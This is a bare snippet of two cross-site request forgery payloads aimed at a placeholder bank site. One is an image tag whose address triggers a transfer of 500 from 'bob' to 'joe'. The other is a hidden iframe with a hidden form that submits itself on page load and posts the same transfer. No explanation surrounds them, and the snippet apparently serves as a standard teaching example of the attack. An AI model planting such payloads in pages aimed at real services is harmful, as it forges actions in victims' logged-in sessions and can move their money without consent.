<img src="https://www.bank.com/transfer?from=bob&to=joe&amount=500">
	------------------------------------------
	<iframe style="display:none" name="csrf-frame"></iframe>
	<form method='POST' action='http://bank.com/transfer.php' target="csrf-frame" id="cs\
	rf-form">
	<input type='hidden' name='from' value='Bob'>
	<input type='hidden' name='to' value='Joe'>
	<input type='hidden' name='amount' value='500'>
	<input type='submit' value='submit'>
	</form>
	<script>document.getElementById("csrf-form").submit()</script>
